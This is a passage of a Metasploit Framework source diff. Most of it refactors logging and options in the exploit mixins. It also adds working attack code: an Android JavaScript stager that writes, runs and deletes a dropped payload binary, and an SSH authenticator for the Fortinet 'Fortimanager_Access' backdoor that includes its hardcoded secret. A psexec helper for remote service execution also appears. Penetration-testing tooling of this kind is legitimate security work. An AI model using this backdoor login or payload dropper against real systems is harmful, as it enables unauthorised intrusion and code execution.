runtime.exec(['rm', libraryPath]).waitFor(); + | + end + + def linux_exe_js(arch) + platform_list = Msf::Module::PlatformList.new(Msf::Module::Platform::Linux) + + %Q| + var payloadData = "#{Rex::Text.to_octal(payload.encoded_exe(arch: arch, platform: platform_list), '\\\\0')}"; + + // get the process name, which will give us our data path + // $PPID does not seem to work on android 4.0, so we concat pids manually + var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']); + var payloadPath = path + '/#{Rex::Text.rand_text_alpha(8)}'; + + // build the library and chmod it + runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+payloadData+'" > '+payloadPath]).waitFor(); + runtime.exec(['chmod', '700', payloadPath]).waitFor(); + + // run the payload + runtime.exec(['/system/bin/sh', '-c', payloadPath + ' &']).waitFor(); + + // delete dropped files + runtime.exec(['rm', payloadPath]).waitFor(); + | + end # The NDK stager is used to launch a hidden APK def ndkstager(stagename, arch) diff --git a/lib/msf/core/exploit/fortinet.rb b/lib/msf/core/exploit/fortinet.rb new file mode 100644 index 0000000000..9b8aae1f9c --- /dev/null +++ b/lib/msf/core/exploit/fortinet.rb @@ -0,0 +1,99 @@ +# -*- coding: binary -*- + +# https://www.ietf.org/rfc/rfc4256.txt + +require 'net/ssh' + +module Msf::Exploit::Remote::Fortinet + class Net::SSH::Authentication::Methods::FortinetBackdoor < Net::SSH::Authentication::Methods::Abstract + + USERAUTH_INFO_REQUEST = 60 + USERAUTH_INFO_RESPONSE = 61 + + def authenticate(service_name, username = 'Fortimanager_Access', password = nil) + debug { 'Sending SSH_MSG_USERAUTH_REQUEST' } + + send_message(userauth_request( +=begin + string user name (ISO-10646 UTF-8, as defined in [RFC-3629]) + string service name (US-ASCII) + string "keyboard-interactive" (US-ASCII) + string language tag (as defined in [RFC-3066]) + string submethods (ISO-10646 UTF-8) +=end + username, + service_name, + 'keyboard-interactive', + '', + '' + )) + + loop do + message = session.next_message + + case message.type + when USERAUTH_SUCCESS + debug { 'Received SSH_MSG_USERAUTH_SUCCESS' } + return true + when USERAUTH_FAILURE + debug { 'Received SSH_MSG_USERAUTH_FAILURE' } + return false + when USERAUTH_INFO_REQUEST + debug { 'Received SSH_MSG_USERAUTH_INFO_REQUEST' } + +=begin + string name (ISO-10646 UTF-8) + string instruction (ISO-10646 UTF-8) + string language tag (as defined in [RFC-3066]) + int num-prompts + string prompt[1] (ISO-10646 UTF-8) + boolean echo[1] + ... + string prompt[num-prompts] (ISO-10646 UTF-8) + boolean echo[num-prompts] +=end + name = message.read_string + instruction = message.read_string + _ = message.read_string + + prompts = [] + + message.read_long.times do + prompt = message.read_string + echo = message.read_bool + prompts << [prompt, echo] + end + + debug { 'Sending SSH_MSG_USERAUTH_INFO_RESPONSE' } + + send_message(Net::SSH::Buffer.from( +=begin + byte SSH_MSG_USERAUTH_INFO_RESPONSE + int num-responses + string response[1] (ISO-10646 UTF-8) + ... + string response[num-responses] (ISO-10646 UTF-8) +=end + :byte, USERAUTH_INFO_RESPONSE, + :long, 1, + :string, custom_handler(name, instruction, prompts) + )) + else + raise Net::SSH::Exception, "Received unexpected message: #{message.inspect}" + end + end + end + + # http://seclists.org/fulldisclosure/2016/Jan/26 + def custom_handler(title, instructions, prompt_list) + n = prompt_list[0][0] + m = Digest::SHA1.new + m.update("\x00" * 12) + m.update(n + 'FGTAbc11*xy+Qqz27') + m.update("\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70") + h = 'AK1' + Base64.encode64("\x00" * 12 + m.digest) + [h] + end + + end +end diff --git a/lib/msf/core/exploit/ftpserver.rb b/lib/msf/core/exploit/ftpserver.rb index 41dea0f789..df6b2c91ee 100644 --- a/lib/msf/core/exploit/ftpserver.rb +++ b/lib/msf/core/exploit/ftpserver.rb @@ -56,7 +56,7 @@ module Exploit::Remote::FtpServer # exists for the given command, returns a generic default response. # # @example Handle SYST requests - # class Metasploit4 < Msf::Exploit + # class MetasploitModule < Msf::Exploit # include Msf::Exploit::Remote::FtpServer # ... # def on_client_command_syst(cmd_conn, arg) @@ -237,4 +237,3 @@ module Exploit::Remote::FtpServer end end - diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index 72b378980f..5b57e2e408 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -37,6 +37,7 @@ module Exploit::Remote::HttpClient Opt::RHOST, Opt::RPORT(80), OptString.new('VHOST', [ false, "HTTP server virtual host" ]), + OptBool.new('SSL', [ false, 'Negotiate SSL/TLS for outgoing connections', false]), Opt::Proxies ], self.class ) @@ -49,8 +50,7 @@ module Exploit::Remote::HttpClient OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', '']), OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']), OptBool.new('DigestAuthIIS', [false, 'Conform to IIS, should work for most servers. Only set to false for non-IIS servers', true]), - OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]), - OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'Auto', ['Auto', 'SSL2', 'SSL3', 'TLS1']]), + Opt::SSLVersion, OptBool.new('FingerprintCheck', [ false, 'Conduct a pre-exploit fingerprint verification', true]), OptString.new('DOMAIN', [ true, 'The domain to use for windows authentification', 'WORKSTATION']), OptInt.new('HttpClientTimeout', [false, 'HTTP connection and receive timeout']) @@ -85,7 +85,7 @@ module Exploit::Remote::HttpClient # # Remaining evasions to implement # -# OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP request via "Transfer-Encoding: chunked"', 'false']), +# OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP request via "Transfer-Encoding: chunked"', false]), # OptInt.new('HTTP::junk_pipeline', [true, 'Insert the specified number of junk pipeline requests', 0]), ], self.class ) diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index 6b58eb8a4a..7eb5370411 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -32,9 +32,9 @@ module Exploit::Remote::HttpServer register_evasion_options( [ - OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP responses via "Transfer-Encoding: chunked"', 'false']), - OptBool.new('HTTP::header_folding', [false, 'Enable folding of HTTP headers', 'false']), - OptBool.new('HTTP::junk_headers', [false, 'Enable insertion of random junk HTTP headers', 'false']), + OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP responses via "Transfer-Encoding: chunked"', false]), + OptBool.new('HTTP::header_folding', [false, 'Enable folding of HTTP headers', false]), + OptBool.new('HTTP::junk_headers', [false, 'Enable insertion of random junk HTTP headers', false]), OptEnum.new('HTTP::compression', [false, 'Enable compression of HTTP responses via content encoding', 'none', ['none','gzip','deflate']]), OptString.new('HTTP::server_name', [true, 'Configures the Server header of all outgoing replies', 'Apache']) ], Exploit::Remote::HttpServer @@ -72,60 +72,13 @@ module Exploit::Remote::HttpServer Thread.current[:cli] = cli end - # :category: print_* overrides - # Prepends client and module name if inside a thread with a #cli - def print_line(msg='') - (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super + def print_prefix + if cli && (respond_to?(:aggressive) && !aggressive?) + super + "#{cli.peerhost.ljust(16)} #{self.shortname} - " + else + super + end end - # :category: print_* overrides - # Prepends client and module name if inside a thread with a #cli - def print_status(msg='') - (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super - end - # :category: print_* overrides - # Prepends client and module name if inside a thread with a #cli - def print_good(msg='') - (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super - end - # :category: print_* overrides - # Prepends client and module name if inside a thread with a #cli - def print_error(msg='') - (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super - end - - # - # :category: print_* overrides - # Prepends client and module name if inside a thread with a #cli - def print_warning(msg='') - (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super - end - - # :category: print_* overrides - # Prepends client and module name if inside a thread with a #cli - def vprint_line(msg='') - (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super - end - # :category: print_* overrides - # Prepends client and module name if inside a thread with a #cli - def vprint_status(msg='') - (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super - end - # :category: print_* overrides - # Prepends client and module name if inside a thread with a #cli - def vprint_good(msg='') - (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super - end - # :category: print_* overrides - # Prepends client and module name if inside a thread with a #cli - def vprint_error(msg='') - (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super - end - # :category: print_* overrides - # Prepends client and module name if inside a thread with a #cli - def vprint_warning(msg='') - (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super - end - # # Ensures that gzip can be used. If not, an exception is generated. The @@ -133,7 +86,7 @@ module Exploit::Remote::HttpServer # set. # def use_zlib - if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true) + if !Rex::Text.zlib_present? && datastore['HTTP::compression'] raise RuntimeError, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!" end end @@ -577,16 +530,16 @@ module Exploit::Remote::HttpServer response.compress = datastore['HTTP::compression'] end - if (datastore['HTTP::chunked'] == true) + if datastore['HTTP::chunked'] response.auto_cl = false response.transfer_chunked = true end - if (datastore['HTTP::header_folding'] == true) + if datastore['HTTP::header_folding'] response.headers.fold = 1 end - if (datastore['HTTP::junk_headers'] == true) + if datastore['HTTP::junk_headers'] response.headers.junk_headers = 1 end diff --git a/lib/msf/core/exploit/http/wordpress/admin.rb b/lib/msf/core/exploit/http/wordpress/admin.rb index 7fc84f856c..a17f2b6058 100644 --- a/lib/msf/core/exploit/http/wordpress/admin.rb +++ b/lib/msf/core/exploit/http/wordpress/admin.rb @@ -10,10 +10,10 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Admin def wordpress_upload_plugin(name, zip, cookie) nonce = wordpress_helper_get_plugin_upload_nonce(cookie) if nonce.nil? - vprint_error("#{peer} - Failed to acquire the plugin upload nonce") + vprint_error("Failed to acquire the plugin upload nonce") return false end - vprint_status("#{peer} - Acquired a plugin upload nonce: #{nonce}") + vprint_status("Acquired a plugin upload nonce: #{nonce}") referer_uri = normalize_uri(wordpress_url_backend, 'plugin-install.php?tab=upload') data = Rex::MIME::Message.new @@ -32,11 +32,11 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Admin ) if res && res.code == 200 - vprint_status("#{peer} - Uploaded plugin #{name}") + vprint_status("Uploaded plugin #{name}") return true else - vprint_error("#{peer} - Server responded with code #{res.code}") if res - vprint_error("#{peer} - Failed to upload plugin #{name}") + vprint_error("Server responded with code #{res.code}") if res + vprint_error("Failed to upload plugin #{name}") return false end end diff --git a/lib/msf/core/exploit/http/wordpress/base.rb b/lib/msf/core/exploit/http/wordpress/base.rb index 386b6378f9..f25298c868 100644 --- a/lib/msf/core/exploit/http/wordpress/base.rb +++ b/lib/msf/core/exploit/http/wordpress/base.rb @@ -27,7 +27,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Base return res if res && res.code == 200 && res.body && wordpress_detect_regexes.any? { |r| res.body =~ r } return nil rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e - print_error("#{peer} - Error connecting to #{target_uri}: #{e}") + print_error("Error connecting to #{target_uri}: #{e}") return nil end end diff --git a/lib/msf/core/exploit/http/wordpress/helpers.rb b/lib/msf/core/exploit/http/wordpress/helpers.rb index a9b70dae79..206b0364c7 100644 --- a/lib/msf/core/exploit/http/wordpress/helpers.rb +++ b/lib/msf/core/exploit/http/wordpress/helpers.rb @@ -52,7 +52,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers if res && res.redirect? && res.redirection return wordpress_helper_parse_location_header(res) else - message = "#{peer} - Post comment failed." + message = "Post comment failed." message << " Status Code: #{res.code}" if res print_error(message) return nil @@ -67,7 +67,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers # @return [Integer,nil] The post id, nil when nothing found def wordpress_helper_bruteforce_valid_post_id(range, comments_enabled=false, login_cookie=nil) range.each { |id| - vprint_status("#{peer} - Checking POST ID #{id}...") if (id % 100) == 0 + vprint_status("Checking POST ID #{id}...") if (id % 100) == 0 body = wordpress_helper_check_post_id(wordpress_url_post(id), comments_enabled, login_cookie) return id if body } diff --git a/lib/msf/core/exploit/http/wordpress/posts.rb b/lib/msf/core/exploit/http/wordpress/posts.rb index 57735bdf4a..ec0f52cff6 100644 --- a/lib/msf/core/exploit/http/wordpress/posts.rb +++ b/lib/msf/core/exploit/http/wordpress/posts.rb @@ -99,11 +99,11 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Posts # @param max_redirects [Integer] maximum redirects to follow # @return [Array,nil] String Array with valid blog posts, nil on error def wordpress_get_all_blog_posts_via_feed(max_redirects = 10) - vprint_status("#{peer} - Enumerating Blog posts...") + vprint_status("Enumerating Blog posts...") blog_posts = [] begin - vprint_status("#{peer} - Locating wordpress feed...") + vprint_status("Locating wordpress feed...") res = send_request_cgi({ 'uri' => wordpress_url_rss, 'method' => 'GET' @@ -116,26 +116,26 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Posts path = wordpress_helper_parse_location_header(res) return nil unless path - vprint_status("#{peer} - Web server returned a #{res.code}...following to #{path}") + vprint_status("Web server returned a #{res.code}...following to #{path}") res = send_request_cgi({ 'uri' => path, 'method' => 'GET' }) if res.code == 200 - vprint_status("#{peer} - Feed located at #{path}") + vprint_status("Feed located at #{path}") else - vprint_status("#{peer} - Returned a #{res.code}...") + vprint_status("Returned a #{res.code}...") end count = count - 1 end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - print_error("#{peer} - Unable to connect") + print_error("Unable to connect") return nil end if res.nil? or res.code != 200 - vprint_status("#{peer} - Did not recieve HTTP response for RSS feed") + vprint_status("Did not recieve HTTP response for RSS feed") return blog_posts end @@ -143,7 +143,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Posts links = res.body.scan(/([^<]+)<\/link>/i) if links.nil? or links.empty? - vprint_status("#{peer} - Feed did not have any links present") + vprint_status("Feed did not have any links present") return blog_posts end diff --git a/lib/msf/core/exploit/http/wordpress/users.rb b/lib/msf/core/exploit/http/wordpress/users.rb index 4ddac519ad..98fd963bc8 100644 --- a/lib/msf/core/exploit/http/wordpress/users.rb +++ b/lib/msf/core/exploit/http/wordpress/users.rb @@ -48,7 +48,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Users end if res.nil? - print_error("#{peer} - Error getting response.") + print_error("Error getting response.") return nil elsif res.code == 200 and ( diff --git a/lib/msf/core/exploit/http/wordpress/version.rb b/lib/msf/core/exploit/http/wordpress/version.rb index 80c693e56d..3561534b49 100644 --- a/lib/msf/core/exploit/http/wordpress/version.rb +++ b/lib/msf/core/exploit/http/wordpress/version.rb @@ -134,7 +134,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Version res = nil readmes.each do |readme_name| readme_url = normalize_uri(target_uri.path, wp_content_dir, folder, name, readme_name) - vprint_status("#{peer} - Checking #{readme_url}") + vprint_status("Checking #{readme_url}") res = send_request_cgi( 'uri' => readme_url, 'method' => 'GET' @@ -180,7 +180,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Version # Could not identify version number return Msf::Exploit::CheckCode::Detected if version.nil? - vprint_status("#{peer} - Found version #{version} of the #{item_type}") + vprint_status("Found version #{version} of the #{item_type}") if fixed_version.nil? if vuln_introduced_version.nil? diff --git a/lib/msf/core/exploit/jsobfu.rb b/lib/msf/core/exploit/jsobfu.rb index 4037df99d7..73b3ce2b47 100644 --- a/lib/msf/core/exploit/jsobfu.rb +++ b/lib/msf/core/exploit/jsobfu.rb @@ -8,7 +8,8 @@ module Msf def initialize(info={}) super register_advanced_options([ - OptInt.new('JsObfuscate', [false, "Number of times to obfuscate JavaScript", 0]) + OptInt.new('JsObfuscate', [false, "Number of times to obfuscate JavaScript", 0]), + OptString.new('JsIdentifiers', [false, "Identifiers to preserve for JsObfu"]) ], Exploit::JSObfu) end @@ -18,14 +19,20 @@ module Msf # @param js [String] JavaScript code # @param opts [Hash] obfuscation options # * :iterations [FixNum] Number of times to obfuscate + # * :preserved_identifiers [Array] An array of identifiers to preserve during obfuscation # @return [::Rex::Exploitation::JSObfu] # def js_obfuscate(js, opts={}) iterations = (opts[:iterations] || datastore['JsObfuscate']).to_i + identifiers = opts[:preserved_identifiers].blank? ? (datastore['JsIdentifiers'] || '').split(',') : opts[:preserved_identifiers] obfu = ::Rex::Exploitation::JSObfu.new(js) - obfu.obfuscate(:iterations=>iterations) + obfu_opts = {} + obfu_opts.merge!(iterations: iterations) + obfu_opts.merge!(preserved_identifiers: identifiers) + + obfu.obfuscate(obfu_opts) obfu end end -end \ No newline at end of file +end diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index ac7c718b7d..21808beede 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -116,3 +116,6 @@ require 'msf/core/exploit/http/jboss' # Kerberos Support require 'msf/core/exploit/kerberos/client' + +# Fortinet +require 'msf/core/exploit/fortinet' diff --git a/lib/msf/core/exploit/postgres.rb b/lib/msf/core/exploit/postgres.rb index 09f3f9487e..37c9a201d5 100644 --- a/lib/msf/core/exploit/postgres.rb +++ b/lib/msf/core/exploit/postgres.rb @@ -292,6 +292,8 @@ module Exploit::Remote::Postgres when "Fauth.c:L302:Rauth_failed" ; return {:preauth => "9.1.6"} # Bad password, good database when "Fpostinit.c:L718:RInitPostgres" ; return {:preauth => "9.1.6"} # Good creds, non-existent but allowed database when "Fauth.c:L483:RClientAuthentication" ; return {:preauth => "9.1.6"} # Bad user + when "Fauth.c:L285:Rauth_failed" ; return {:preauth => "9.4.1-5"} # Bad creds, good database + when "Fauth.c:L481:RClientAuthentication" ; return {:preauth => "9.4.1-5"} # bad user or host # Windows diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 1ad7cffa70..466f03281c 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -7,6 +7,7 @@ require 'set' require 'rex/exploitation/js' require 'msf/core/exploit/jsobfu' require 'msf/core/exploit/remote/browser_profile_manager' +require 'msf/core/module' ### # @@ -28,6 +29,8 @@ module Msf include Msf::Exploit::RopDb include Msf::Exploit::JSObfu include Msf::Exploit::Remote::BrowserProfileManager + include Msf::Module::UI::Line::Verbose + include Msf::Module::UI::Message::Verbose # this must be static between runs, otherwise the older cookies will be ignored DEFAULT_COOKIE_NAME = '__ua' @@ -136,7 +139,6 @@ module Msf clear_browser_profiles unless self.datastore['BrowserProfilePrefix'] end - # Returns the custom 404 URL set by the user # # @return [String] @@ -586,7 +588,7 @@ module Msf if profile.nil? print_status("Browsing directly to the exploit URL is forbidden.") send_not_found(cli) - elsif profile[:tried] and datastore['Retries'] == false + elsif profile[:tried] && !datastore['Retries'] print_status("Target with tag \"#{tag}\" wants to retry the module, not allowed.") send_not_found(cli) else diff --git a/lib/msf/core/exploit/smb/client.rb b/lib/msf/core/exploit/smb/client.rb index b104b9e48a..df006885f7 100644 --- a/lib/msf/core/exploit/smb/client.rb +++ b/lib/msf/core/exploit/smb/client.rb @@ -64,7 +64,7 @@ module Msf register_options( [ Opt::RHOST, - OptInt.new('RPORT', [ true, 'Set the SMB service port', 445]) + OptPort.new('RPORT', [ true, 'The SMB service port', 445]) ], Msf::Exploit::Remote::SMB::Client) register_autofilter_ports([ 139, 445]) diff --git a/lib/msf/core/exploit/smb/client/psexec.rb b/lib/msf/core/exploit/smb/client/psexec.rb index bd60e6c675..cb1acf684b 100644 --- a/lib/msf/core/exploit/smb/client/psexec.rb +++ b/lib/msf/core/exploit/smb/client/psexec.rb @@ -74,7 +74,7 @@ module Exploit::Remote::SMB::Client::Psexec simple.disconnect("\\\\#{host}\\#{smbshare}") return contents rescue Rex::Proto::SMB::Exceptions::ErrorCode => e - print_error("#{peer} - Unable to read file #{file}. #{e.class}: #{e}.") + print_error("Unable to read file #{file}. #{e.class}: #{e}.") return nil end end @@ -94,16 +94,16 @@ module Exploit::Remote::SMB::Client::Psexec def psexec(command, disconnect=true) simple.connect("\\\\#{datastore['RHOST']}\\IPC$") handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) - vprint_status("#{peer} - Binding to #{handle} ...") + vprint_status("Binding to #{handle} ...") dcerpc_bind(handle) - vprint_status("#{peer} - Bound to #{handle} ...") - vprint_status("#{peer} - Obtaining a service manager handle...") + vprint_status("Bound to #{handle} ...") + vprint_status("Obtaining a service manager handle...") svc_client = Rex::Proto::DCERPC::SVCCTL::Client.new(dcerpc) scm_handle, scm_status = svc_client.openscmanagerw(datastore['RHOST']) if scm_status == ERROR_ACCESS_DENIED - print_error("#{peer} - ERROR_ACCESS_DENIED opening the Service Manager") + print_error("ERROR_ACCESS_DENIED opening the Service Manager") end return false unless scm_handle @@ -114,68 +114,68 @@ module Exploit::Remote::SMB::Client::Psexec opts = {} end - vprint_status("#{peer} - Creating the service...") + vprint_status("Creating the service...") svc_handle, svc_status = svc_client.createservicew(scm_handle, service_name, display_name, command, opts) case svc_status when ERROR_SUCCESS - vprint_good("#{peer} - Successfully created the service") + vprint_good("Successfully created the service") when ERROR_SERVICE_EXISTS service_exists = true - print_warning("#{peer} - Service already exists, opening a handle...") + print_warning("Service already exists, opening a handle...") svc_handle = svc_client.openservicew(scm_handle, service_name) when ERROR_ACCESS_DENIED - print_error("#{peer} - Unable to create service, ACCESS_DENIED, did AV gobble your binary?") + print_error("Unable to create service, ACCESS_DENIED, did AV gobble your binary?") return false else - print_error("#{peer} - Failed to create service, ERROR_CODE: #{svc_status}") + print_error("Failed to create service, ERROR_CODE: #{svc_status}") return false end if svc_handle.nil? - print_error("#{peer} - No service handle retrieved") + print_error("No service handle retrieved") return false else if service_description - vprint_status("#{peer} - Changing service description...") + vprint_status("Changing service description...") svc_client.changeservicedescription(svc_handle, service_description) end - vprint_status("#{peer} - Starting the service...") + vprint_status("Starting the service...") begin svc_status = svc_client.startservice(svc_handle) case svc_status when ERROR_SUCCESS - print_good("#{peer} - Service started successfully...") + print_good("Service started successfully...") when ERROR_FILE_NOT_FOUND - print_error("#{peer} - Service failed to start - FILE_NOT_FOUND") + print_error("Service failed to start - FILE_NOT_FOUND") when ERROR_ACCESS_DENIED - print_error("#{peer} - Service failed to start - ACCESS_DENIED") + print_error("Service failed to start - ACCESS_DENIED") when ERROR_SERVICE_REQUEST_TIMEOUT - print_good("#{peer} - Service start timed out, OK if running a command or non-service executable...") + print_good("Service start timed out, OK if running a command or non-service executable...") else - print_error("#{peer} - Service failed to start, ERROR_CODE: #{svc_status}") + print_error("Service failed to start, ERROR_CODE: #{svc_status}") end ensure begin # If service already exists don't delete it! # Maybe we could have a force cleanup option..? if service_exists - print_warning("#{peer} - Not removing service as it already existed...") + print_warning("Not removing service as it already existed...") elsif datastore['SERVICE_PERSIST'] - print_warning("#{peer} - Not removing service for persistance...") + print_warning("Not removing service for persistance...") else - vprint_status("#{peer} - Removing the service...") + vprint_status("Removing the service...") svc_status = svc_client.deleteservice(svc_handle) if svc_status == ERROR_SUCCESS - vprint_good("#{peer} - Successfully removed the sevice") + vprint_good("Successfully removed the sevice") else - print_error("#{peer} - Unable to remove the service, ERROR_CODE: #{svc_status}") + print_error("Unable to remove the service, ERROR_CODE: #{svc_status}") end end ensure - vprint_status("#{peer} - Closing service handle...") + vprint_status("Closing service handle...") svc_client.closehandle(svc_handle) end end @@ -189,10 +189,6 @@ module Exploit::Remote::SMB::Client::Psexec true end - def peer - "#{rhost}:#{rport}" - end - end end diff --git a/lib/msf/core/exploit/smb/server/share.rb b/lib/msf/core/exploit/smb/server/share.rb index 1ddbdd4172..df5f43aca6 100644 --- a/lib/msf/core/exploit/smb/server/share.rb +++ b/lib/msf/core/exploit/smb/server/share.rb @@ -17,7 +17,7 @@ module Msf # @example Use it from an Auxiliary module # require 'msf/core' # - # class Metasploit3 < Msf::Auxiliary + # class MetasploitModule < Msf::Auxiliary # # include Msf::Exploit::Remote::SMB::Server::Share # @@ -59,7 +59,7 @@ module Msf # @example Use it from an Exploit module # require 'msf/core' # - # class Metasploit3 < Msf::Exploit::Remote + # class MetasploitModule < Msf::Exploit::Remote # Rank = ExcellentRanking # # include Msf::Exploit::EXE diff --git a/lib/msf/core/exploit/smtp_deliver.rb b/lib/msf/core/exploit/smtp_deliver.rb index a4900e8b1c..9ff8693723 100644 --- a/lib/msf/core/exploit/smtp_deliver.rb +++ b/lib/msf/core/exploit/smtp_deliver.rb @@ -71,7 +71,7 @@ module Exploit::Remote::SMTPDeliver # This method currently only knows about PLAIN authentication. # def connect_login(global = true) - print_verbose("Connecting to SMTP server #{rhost}:#{rport}...") + vprint_status("Connecting to SMTP server #{rhost}:#{rport}...") nsock = connect(global) if datastore['DOMAIN'] and not datastore['DOMAIN'] == '' @@ -114,7 +114,7 @@ module Exploit::Remote::SMTPDeliver else if datastore['PASSWORD'] and datastore["USERNAME"] and not datastore["USERNAME"].empty? # Let the user know their creds are going unused - print_verbose("Server didn't ask for authentication, skipping") + vprint_status("Server didn't ask for authentication, skipping") end end end @@ -170,7 +170,7 @@ module Exploit::Remote::SMTPDeliver end if not already_connected - print_verbose("Closing the connection...") + vprint_status("Closing the connection...") disconnect(nsock) end @@ -187,11 +187,11 @@ module Exploit::Remote::SMTPDeliver return false if not nsock if cmd =~ /AUTH PLAIN/ # Don't print the user's plaintext password - print_verbose("C: AUTH PLAIN ...") + vprint_status("C: AUTH PLAIN ...") else # Truncate because this will include a full email and we don't want # to dump it all. - print_verbose("C: #{((cmd.length > 120) ? cmd[0,120] + "..." : cmd).strip}") + vprint_status("C: #{((cmd.length > 120) ? cmd[0,120] + "..." : cmd).strip}") end nsock.put(cmd) @@ -199,17 +199,11 @@ module Exploit::Remote::SMTPDeliver # Don't truncate the server output because it might be helpful for # debugging. - print_verbose("S: #{res.strip}") if res + vprint_status("S: #{res.strip}") if res return res end - def print_verbose(msg) - if datastore['VERBOSE'] - print_status(msg) - end - end - # The banner received after the initial connection to the server. This should look something like: # 220 mx.google.com ESMTP s5sm3837150wak.12 diff --git a/lib/msf/core/exploit/sunrpc.rb b/lib/msf/core/exploit/sunrpc.rb index f8c9055f30..265bea4ac5 100644 --- a/lib/msf/core/exploit/sunrpc.rb +++ b/lib/msf/core/exploit/sunrpc.rb @@ -31,7 +31,7 @@ module Exploit::Remote::SunRPC register_evasion_options( [ - OptBool.new('ONCRPC::tcp_request_fragmentation', [false, 'Enable fragmentation of TCP ONC/RPC requests', 'false']), + OptBool.new('ONCRPC::tcp_request_fragmentation', [false, 'Enable fragmentation of TCP ONC/RPC requests', false]), ], Msf::Exploit::Remote::SunRPC ) @@ -65,7 +65,7 @@ module Exploit::Remote::SunRPC } ) - if datastore['ONCRPC::tcp_request_fragmentation'] == true + if datastore['ONCRPC::tcp_request_fragmentation'] self.rpcobj.should_fragment = 1 end diff --git a/lib/msf/core/exploit/tcp.rb b/lib/msf/core/exploit/tcp.rb index f4a6daef6c..ec70f4ff4a 100644 --- a/lib/msf/core/exploit/tcp.rb +++ b/lib/msf/core/exploit/tcp.rb @@ -63,8 +63,8 @@ module Exploit::Remote::Tcp register_advanced_options( [ - OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]), - OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL/TLS to be used (TLS and SSL23 are auto-negotiate)', 'TLS1', ['SSL2', 'SSL3', 'SSL23', 'TLS', 'TLS1', 'TLS1.1', 'TLS1.2']]), + OptBool.new('SSL', [ false, 'Negotiate SSL/TLS for outgoing connections', false]), + Opt::SSLVersion, OptEnum.new('SSLVerifyMode', [ false, 'SSL verification method', 'PEER', %W{CLIENT_ONCE FAIL_IF_NO_PEER_CERT NONE PEER}]), OptString.new('SSLCipher', [ false, 'String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"']), Opt::Proxies, @@ -82,11 +82,6 @@ module Exploit::Remote::Tcp ) end - # Returns the rhost:rport - def peer - "#{rhost}:#{rport}" - end - # # Establishes a TCP connection to the specified RHOST/RPORT # @@ -200,6 +195,14 @@ module Exploit::Remote::Tcp disconnect end + def print_prefix + if rhost + super + peer + " - " + else + super + end + end + ## # # Wrappers for getters @@ -207,17 +210,24 @@ module Exploit::Remote::Tcp ## # - # Returns the target host + # Returns the local host for outgoing connections # - def rhost - datastore['RHOST'] + def chost + datastore['CHOST'] end # - # Returns the remote port + # Returns the TCP connection timeout # - def rport - datastore['RPORT'] + def connect_timeout + datastore['ConnectTimeout'] + end + + # + # Returns the local port for outgoing connections + # + def cport + datastore['CPORT'] end # @@ -234,18 +244,30 @@ module Exploit::Remote::Tcp datastore['LPORT'] end - # - # Returns the local host for outgoing connections - # - def chost - datastore['CHOST'] + # Returns the rhost:rport + def peer + "#{rhost}:#{rport}" end # - # Returns the local port for outgoing connections + # Returns the proxy configuration # - def cport - datastore['CPORT'] + def proxies + datastore['Proxies'] + end + + # + # Returns the target host + # + def rhost + datastore['RHOST'] + end + + # + # Returns the remote port + # + def rport + datastore['RPORT'] end # @@ -262,20 +284,6 @@ module Exploit::Remote::Tcp 